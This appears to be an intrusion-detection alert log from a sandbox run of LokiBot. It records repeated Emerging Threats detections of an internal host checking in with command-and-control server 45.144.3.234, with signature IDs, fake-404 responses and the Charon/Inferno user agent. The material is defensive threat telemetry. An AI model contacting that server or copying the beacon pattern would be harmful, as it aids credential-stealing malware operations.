12/02/20-11:53:39.815212	TCP	2025381	ET TROJAN LokiBot Checkin	49869	80	192.168.2.6	45.144.3.234
12/02/20-11:53:39.815212	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49869	80	192.168.2.6	45.144.3.234
12/02/20-11:53:39.940460	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49869	45.144.3.234	192.168.2.6
12/02/20-11:53:40.305916	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49870	80	192.168.2.6	45.144.3.234
12/02/20-11:53:40.305916	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49870	80	192.168.2.6	45.144.3.234
12/02/20-11:53:40.305916	TCP	2025381	ET TROJAN LokiBot Checkin	49870	80	192.168.2.6	45.144.3.234
12/02/20-11:53:40.305916	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49870	80	192.168.2.6	45.144.3.234
12/02/20-11:53:40.432231	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49870	45.144.3.234	192.168.2.6
12/02/20-11:53:40.669920	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49871	80	192.168.2.6	45.144.3.234
12/02/20-11:53:40.669920	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49871	80	192.168.2.6	45.144.3.234
12/02/20-11:53:40.669920	TCP	2025381	ET TROJAN LokiBot Checkin	49871	80	192.168.2.6	45.144.3.234
12/02/20-11:53:40.669920	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49871	80	192.168.2.6	45.144.3.234
12/02/20-11:53:40.795723	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49871	45.144.3.234	192.168.2.6
12/02/20-11:53:41.124374	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49872	80	192.168.2.6	45.144.3.234
12/02/20-11:53:41.124374	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49872	80	192.168.2.6	45.144.3.234
12/02/20-11:53:41.124374	TCP	2025381	ET TROJAN LokiBot Checkin	49872	80	192.168.2.6	45.144.3.234
12/02/20-11:53:41.124374	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49872	80	192.168.2.6	45.144.3.234
12/02/20-11:53:41.271989	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49872	45.144.3.234	192.168.2.6
12/02/20-11:53:41.506474	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49873	80	192.168.2.6	45.144.3.234
12/02/20-11:53:41.506474	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49873	80	192.168.2.6	45.144.3.234
12/02/20-11:53:41.506474	TCP	2025381	ET TROJAN LokiBot Checkin	49873	80	192.168.2.6	45.144.3.234
12/02/20-11:53:41.506474	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49873	80	192.168.2.6	45.144.3.234
12/02/20-11:53:41.630264	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49873	45.144.3.234	192.168.2.6
12/02/20-11:53:41.908530	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49874	80	192.168.2.6	45.144.3.234
12/02/20-11:53:41.908530	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49874	80	192.168.2.6	45.144.3.234
12/02/20-11:53:41.908530	TCP	2025381	ET TROJAN LokiBot Checkin	49874	80	192.168.2.6	45.144.3.234
12/02/20-11:53:41.908530	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49874	80	192.168.2.6	45.144.3.234
12/02/20-11:53:42.037556	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49874	45.144.3.234	192.168.2.6
12/02/20-11:53:42.363986	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49875	80	192.168.2.6	45.144.3.234
12/02/20-11:53:42.363986	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49875	80	192.168.2.6	45.144.3.234
12/02/20-11:53:42.363986	TCP	2025381	ET TROJAN LokiBot Checkin	49875	80	192.168.2.6	45.144.3.234
12/02/20-11:53:42.363986	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49875	80	192.168.2.6	45.144.3.234
12/02/20-11:53:44.446561	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49875	45.144.3.234	192.168.2.6
12/02/20-11:53:44.731017	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49876	80	192.168.2.6	45.144.3.234
12/02/20-11:53:44.731017	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49876	80	192.168.2.6	45.144.3.234
12/02/20-11:53:44.731017	TCP	2025381	ET TROJAN LokiBot Checkin	49876	80	192.168.2.6	45.144.3.234
12/02/20-11:53:44.731017	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49876	80	192.168.2.6	45.144.3.234
12/02/20-11:53:44.857262	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49876	45.144.3.234	192.168.2.6
12/02/20-11:53:45.110818	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49877	80	192.168.2.6	45.144.3.234
12/02/20-11:53:45.110818	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49877	80	192.168.2.6	45.144.3.234
12/02/20-11:53:45.110818	TCP	2025381	ET TROJAN LokiBot Checkin	49877	80	192.168.2.6	45.144.3.234
12/02/20-11:53:45.110818	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49877	80	192.168.2.6	45.144.3.234
12/02/20-11:53:45.239439	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49877	45.144.3.234	192.168.2.6
12/02/20-11:53:45.530515	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49878	80	192.168.2.6	45.144.3.234
12/02/20-11:53:45.530515	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49878	80	192.168.2.6	45.144.3.234
12/02/20-11:53:45.530515	TCP	2025381	ET TROJAN LokiBot Checkin	49878	80	192.168.2.6	45.144.3.234
12/02/20-11:53:45.530515	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49878	80	192.168.2.6	45.144.3.234
12/02/20-11:53:45.675242	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49878	45.144.3.234	192.168.2.6
12/02/20-11:53:45.971010	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49879	80	192.168.2.6	45.144.3.234
12/02/20-11:53:45.971010	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49879	80	192.168.2.6	45.144.3.234
12/02/20-11:53:45.971010	TCP	2025381	ET TROJAN LokiBot Checkin	49879	80	192.168.2.6	45.144.3.234
12/02/20-11:53:45.971010	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49879	80	192.168.2.6	45.144.3.234
12/02/20-11:53:46.096855	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49879	45.144.3.234	192.168.2.6
12/02/20-11:53:46.394584	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49880	80	192.168.2.6	45.144.3.234
12/02/20-11:53:46.394584	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49880	80	192.168.2.6	45.144.3.234
12/02/20-11:53:46.394584	TCP	2025381	ET TROJAN LokiBot Checkin	49880	80	192.168.2.6	45.144.3.234
12/02/20-11:53:46.394584	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49880	80	192.168.2.6	45.144.3.234
12/02/20-11:53:46.522598	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49880	45.144.3.234	192.168.2.6
12/02/20-11:53:46.812717	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49881	80	192.168.2.6	45.144.3.234
12/02/20-11:53:46.812717	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49881	80	192.168.2.6	45.144.3.234
12/02/20-11:53:46.812717	TCP	2025381	ET TROJAN LokiBot Checkin	49881	80	192.168.2.6	45.144.3.234
12/02/20-11:53:46.812717	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49881	80	192.168.2.6	45.144.3.234
12/02/20-11:53:46.941850	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49881	45.144.3.234	192.168.2.6
12/02/20-11:53:47.221801	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49882	80	192.168.2.6	45.144.3.234
12/02/20-11:53:47.221801	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49882	80	192.168.2.6	45.144.3.234
12/02/20-11:53:47.221801	TCP	2025381	ET TROJAN LokiBot Checkin	49882	80	192.168.2.6	45.144.3.234
12/02/20-11:53:47.221801	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49882	80	192.168.2.6	45.144.3.234
12/02/20-11:53:47.351135	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49882	45.144.3.234	192.168.2.6
12/02/20-11:53:47.662367	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49883	80	192.168.2.6	45.144.3.234
12/02/20-11:53:47.662367	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49883	80	192.168.2.6	45.144.3.234
12/02/20-11:53:47.662367	TCP	2025381	ET TROJAN LokiBot Checkin	49883	80	192.168.2.6	45.144.3.234
12/02/20-11:53:47.662367	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49883	80	192.168.2.6	45.144.3.234
12/02/20-11:53:47.791693	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49883	45.144.3.234	192.168.2.6
12/02/20-11:53:48.086474	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49884	80	192.168.2.6	45.144.3.234
12/02/20-11:53:48.086474	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49884	80	192.168.2.6	45.144.3.234
12/02/20-11:53:48.086474	TCP	2025381	ET TROJAN LokiBot Checkin	49884	80	192.168.2.6	45.144.3.234
12/02/20-11:53:48.086474	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49884	80	192.168.2.6	45.144.3.234
12/02/20-11:53:48.211005	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49884	45.144.3.234	192.168.2.6
12/02/20-11:53:48.497369	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49885	80	192.168.2.6	45.144.3.234
12/02/20-11:53:48.497369	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49885	80	192.168.2.6	45.144.3.234
12/02/20-11:53:48.497369	TCP	2025381	ET TROJAN LokiBot Checkin	49885	80	192.168.2.6	45.144.3.234
12/02/20-11:53:48.497369	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49885	80	192.168.2.6	45.144.3.234
12/02/20-11:53:48.626811	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49885	45.144.3.234	192.168.2.6
12/02/20-11:53:48.930011	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49886	80	192.168.2.6	45.144.3.234
12/02/20-11:53:48.930011	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49886	80	192.168.2.6	45.144.3.234
12/02/20-11:53:48.930011	TCP	2025381	ET TROJAN LokiBot Checkin	49886	80	192.168.2.6	45.144.3.234
12/02/20-11:53:48.930011	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49886	80	192.168.2.6	45.144.3.234
12/02/20-11:53:49.073543	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49886	45.144.3.234	192.168.2.6
12/02/20-11:53:49.346886	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49887	80	192.168.2.6	45.144.3.234
12/02/20-11:53:49.346886	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49887	80	192.168.2.6	45.144.3.234
12/02/20-11:53:49.346886	TCP	2025381	ET TROJAN LokiBot Checkin	49887	80	192.168.2.6	45.144.3.234
12/02/20-11:53:49.346886	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49887	80	192.168.2.6	45.144.3.234
12/02/20-11:53:49.473379	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49887	45.144.3.234	192.168.2.6
12/02/20-11:53:49.720684	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49888	80	192.168.2.6	45.144.3.234
12/02/20-11:53:49.720684	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49888	80	192.168.2.6	45.144.3.234
12/02/20-11:53:49.720684	TCP	2025381	ET TROJAN LokiBot Checkin	49888	80	192.168.2.6	45.144.3.234
12/02/20-11:53:49.720684	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49888	80	192.168.2.6	45.144.3.234
12/02/20-11:53:49.851969	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49888	45.144.3.234	192.168.2.6
12/02/20-11:53:50.131951	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49889	80	192.168.2.6	45.144.3.234
12/02/20-11:53:50.131951	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49889	80	192.168.2.6	45.144.3.234
12/02/20-11:53:50.131951	TCP	2025381	ET TROJAN LokiBot Checkin	49889	80	192.168.2.6	45.144.3.234
12/02/20-11:53:50.131951	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49889	80	192.168.2.6	45.144.3.234
12/02/20-11:53:50.264707	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49889	45.144.3.234	192.168.2.6
12/02/20-11:53:50.537655	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49890	80	192.168.2.6	45.144.3.234
12/02/20-11:53:50.537655	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49890	80	192.168.2.6	45.144.3.234
12/02/20-11:53:50.537655	TCP	2025381	ET TROJAN LokiBot Checkin	49890	80	192.168.2.6	45.144.3.234
12/02/20-11:53:50.537655	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49890	80	192.168.2.6	45.144.3.234
12/02/20-11:53:50.667494	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49890	45.144.3.234	192.168.2.6
12/02/20-11:53:50.981118	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49891	80	192.168.2.6	45.144.3.234
12/02/20-11:53:50.981118	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49891	80	192.168.2.6	45.144.3.234
12/02/20-11:53:50.981118	TCP	2025381	ET TROJAN LokiBot Checkin	49891	80	192.168.2.6	45.144.3.234
12/02/20-11:53:50.981118	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49891	80	192.168.2.6	45.144.3.234
12/02/20-11:53:51.109476	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49891	45.144.3.234	192.168.2.6
12/02/20-11:53:51.500958	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49892	80	192.168.2.6	45.144.3.234
12/02/20-11:53:51.500958	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49892	80	192.168.2.6	45.144.3.234
12/02/20-11:53:51.500958	TCP	2025381	ET TROJAN LokiBot Checkin	49892	80	192.168.2.6	45.144.3.234
12/02/20-11:53:51.500958	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49892	80	192.168.2.6	45.144.3.234
12/02/20-11:53:51.629140	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49892	45.144.3.234	192.168.2.6
12/02/20-11:53:51.875501	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49894	80	192.168.2.6	45.144.3.234
12/02/20-11:53:51.875501	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49894	80	192.168.2.6	45.144.3.234
12/02/20-11:53:51.875501	TCP	2025381	ET TROJAN LokiBot Checkin	49894	80	192.168.2.6	45.144.3.234
12/02/20-11:53:51.875501	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49894	80	192.168.2.6	45.144.3.234
12/02/20-11:53:52.001681	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49894	45.144.3.234	192.168.2.6
12/02/20-11:53:52.299954	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49895	80	192.168.2.6	45.144.3.234
12/02/20-11:53:52.299954	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49895	80	192.168.2.6	45.144.3.234
12/02/20-11:53:52.299954	TCP	2025381	ET TROJAN LokiBot Checkin	49895	80	192.168.2.6	45.144.3.234
12/02/20-11:53:52.299954	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49895	80	192.168.2.6	45.144.3.234
12/02/20-11:53:52.427256	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49895	45.144.3.234	192.168.2.6
12/02/20-11:53:52.669432	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49896	80	192.168.2.6	45.144.3.234
12/02/20-11:53:52.669432	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49896	80	192.168.2.6	45.144.3.234
12/02/20-11:53:52.669432	TCP	2025381	ET TROJAN LokiBot Checkin	49896	80	192.168.2.6	45.144.3.234
12/02/20-11:53:52.669432	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49896	80	192.168.2.6	45.144.3.234
12/02/20-11:53:52.793746	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49896	45.144.3.234	192.168.2.6
12/02/20-11:53:53.093415	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49898	80	192.168.2.6	45.144.3.234
12/02/20-11:53:53.093415	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49898	80	192.168.2.6	45.144.3.234
12/02/20-11:53:53.093415	TCP	2025381	ET TROJAN LokiBot Checkin	49898	80	192.168.2.6	45.144.3.234
12/02/20-11:53:53.093415	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49898	80	192.168.2.6	45.144.3.234
12/02/20-11:53:53.221691	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49898	45.144.3.234	192.168.2.6
12/02/20-11:53:53.485192	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49899	80	192.168.2.6	45.144.3.234
12/02/20-11:53:53.485192	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49899	80	192.168.2.6	45.144.3.234
12/02/20-11:53:53.485192	TCP	2025381	ET TROJAN LokiBot Checkin	49899	80	192.168.2.6	45.144.3.234
12/02/20-11:53:53.485192	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49899	80	192.168.2.6	45.144.3.234
12/02/20-11:53:53.608858	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49899	45.144.3.234	192.168.2.6
12/02/20-11:53:53.899708	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49900	80	192.168.2.6	45.144.3.234
12/02/20-11:53:53.899708	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49900	80	192.168.2.6	45.144.3.234
12/02/20-11:53:53.899708	TCP	2025381	ET TROJAN LokiBot Checkin	49900	80	192.168.2.6	45.144.3.234
12/02/20-11:53:53.899708	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49900	80	192.168.2.6	45.144.3.234
12/02/20-11:53:54.026077	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49900	45.144.3.234	192.168.2.6
12/02/20-11:53:54.292505	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49902	80	192.168.2.6	45.144.3.234
12/02/20-11:53:54.292505	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49902	80	192.168.2.6	45.144.3.234
12/02/20-11:53:54.292505	TCP	2025381	ET TROJAN LokiBot Checkin	49902	80	192.168.2.6	45.144.3.234
12/02/20-11:53:54.292505	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49902	80	192.168.2.6	45.144.3.234
12/02/20-11:53:54.429546	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49902	45.144.3.234	192.168.2.6
12/02/20-11:53:54.722060	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49903	80	192.168.2.6	45.144.3.234
12/02/20-11:53:54.722060	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49903	80	192.168.2.6	45.144.3.234
12/02/20-11:53:54.722060	TCP	2025381	ET TROJAN LokiBot Checkin	49903	80	192.168.2.6	45.144.3.234
12/02/20-11:53:54.722060	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49903	80	192.168.2.6	45.144.3.234
12/02/20-11:53:54.853922	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49903	45.144.3.234	192.168.2.6
12/02/20-11:53:55.140344	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49904	80	192.168.2.6	45.144.3.234
12/02/20-11:53:55.140344	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49904	80	192.168.2.6	45.144.3.234
12/02/20-11:53:55.140344	TCP	2025381	ET TROJAN LokiBot Checkin	49904	80	192.168.2.6	45.144.3.234
12/02/20-11:53:55.140344	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49904	80	192.168.2.6	45.144.3.234
12/02/20-11:53:55.270212	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49904	45.144.3.234	192.168.2.6
12/02/20-11:53:55.522611	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49905	80	192.168.2.6	45.144.3.234
12/02/20-11:53:55.522611	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49905	80	192.168.2.6	45.144.3.234
12/02/20-11:53:55.522611	TCP	2025381	ET TROJAN LokiBot Checkin	49905	80	192.168.2.6	45.144.3.234
12/02/20-11:53:55.522611	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49905	80	192.168.2.6	45.144.3.234
12/02/20-11:53:55.652744	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49905	45.144.3.234	192.168.2.6
12/02/20-11:53:55.936893	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49906	80	192.168.2.6	45.144.3.234
12/02/20-11:53:55.936893	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49906	80	192.168.2.6	45.144.3.234
12/02/20-11:53:55.936893	TCP	2025381	ET TROJAN LokiBot Checkin	49906	80	192.168.2.6	45.144.3.234
12/02/20-11:53:55.936893	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49906	80	192.168.2.6	45.144.3.234
12/02/20-11:53:56.061289	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49906	45.144.3.234	192.168.2.6
12/02/20-11:53:56.339313	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49907	80	192.168.2.6	45.144.3.234
12/02/20-11:53:56.339313	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49907	80	192.168.2.6	45.144.3.234
12/02/20-11:53:56.339313	TCP	2025381	ET TROJAN LokiBot Checkin	49907	80	192.168.2.6	45.144.3.234
12/02/20-11:53:56.339313	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49907	80	192.168.2.6	45.144.3.234
12/02/20-11:53:56.464036	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49907	45.144.3.234	192.168.2.6
12/02/20-11:53:56.737421	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49908	80	192.168.2.6	45.144.3.234
12/02/20-11:53:56.737421	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49908	80	192.168.2.6	45.144.3.234
12/02/20-11:53:56.737421	TCP	2025381	ET TROJAN LokiBot Checkin	49908	80	192.168.2.6	45.144.3.234
12/02/20-11:53:56.737421	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49908	80	192.168.2.6	45.144.3.234
12/02/20-11:53:56.865797	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49908	45.144.3.234	192.168.2.6
12/02/20-11:53:57.123188	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49909	80	192.168.2.6	45.144.3.234
12/02/20-11:53:57.123188	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49909	80	192.168.2.6	45.144.3.234
12/02/20-11:53:57.123188	TCP	2025381	ET TROJAN LokiBot Checkin	49909	80	192.168.2.6	45.144.3.234
12/02/20-11:53:57.123188	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49909	80	192.168.2.6	45.144.3.234
12/02/20-11:53:57.270093	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49909	45.144.3.234	192.168.2.6
12/02/20-11:53:57.538551	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49910	80	192.168.2.6	45.144.3.234
12/02/20-11:53:57.538551	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49910	80	192.168.2.6	45.144.3.234
12/02/20-11:53:57.538551	TCP	2025381	ET TROJAN LokiBot Checkin	49910	80	192.168.2.6	45.144.3.234
12/02/20-11:53:57.538551	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49910	80	192.168.2.6	45.144.3.234
12/02/20-11:53:57.668447	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49910	45.144.3.234	192.168.2.6
12/02/20-11:53:57.975991	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49911	80	192.168.2.6	45.144.3.234
12/02/20-11:53:57.975991	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49911	80	192.168.2.6	45.144.3.234
12/02/20-11:53:57.975991	TCP	2025381	ET TROJAN LokiBot Checkin	49911	80	192.168.2.6	45.144.3.234
12/02/20-11:53:57.975991	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49911	80	192.168.2.6	45.144.3.234
12/02/20-11:53:58.112592	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49911	45.144.3.234	192.168.2.6
12/02/20-11:53:58.357650	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49912	80	192.168.2.6	45.144.3.234
12/02/20-11:53:58.357650	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49912	80	192.168.2.6	45.144.3.234
12/02/20-11:53:58.357650	TCP	2025381	ET TROJAN LokiBot Checkin	49912	80	192.168.2.6	45.144.3.234
12/02/20-11:53:58.357650	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49912	80	192.168.2.6	45.144.3.234
12/02/20-11:53:58.484032	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49912	45.144.3.234	192.168.2.6
12/02/20-11:53:58.743470	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49913	80	192.168.2.6	45.144.3.234
12/02/20-11:53:58.743470	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49913	80	192.168.2.6	45.144.3.234
12/02/20-11:53:58.743470	TCP	2025381	ET TROJAN LokiBot Checkin	49913	80	192.168.2.6	45.144.3.234
12/02/20-11:53:58.743470	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49913	80	192.168.2.6	45.144.3.234
12/02/20-11:53:58.873219	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49913	45.144.3.234	192.168.2.6
12/02/20-11:53:59.169840	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49914	80	192.168.2.6	45.144.3.234
12/02/20-11:53:59.169840	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49914	80	192.168.2.6	45.144.3.234
12/02/20-11:53:59.169840	TCP	2025381	ET TROJAN LokiBot Checkin	49914	80	192.168.2.6	45.144.3.234
12/02/20-11:53:59.169840	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49914	80	192.168.2.6	45.144.3.234
12/02/20-11:53:59.308444	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49914	45.144.3.234	192.168.2.6
12/02/20-11:53:59.598389	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49915	80	192.168.2.6	45.144.3.234
12/02/20-11:53:59.598389	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49915	80	192.168.2.6	45.144.3.234
12/02/20-11:53:59.598389	TCP	2025381	ET TROJAN LokiBot Checkin	49915	80	192.168.2.6	45.144.3.234
12/02/20-11:53:59.598389	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49915	80	192.168.2.6	45.144.3.234
12/02/20-11:53:59.725656	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49915	45.144.3.234	192.168.2.6
12/02/20-11:54:00.003774	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49916	80	192.168.2.6	45.144.3.234
12/02/20-11:54:00.003774	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49916	80	192.168.2.6	45.144.3.234
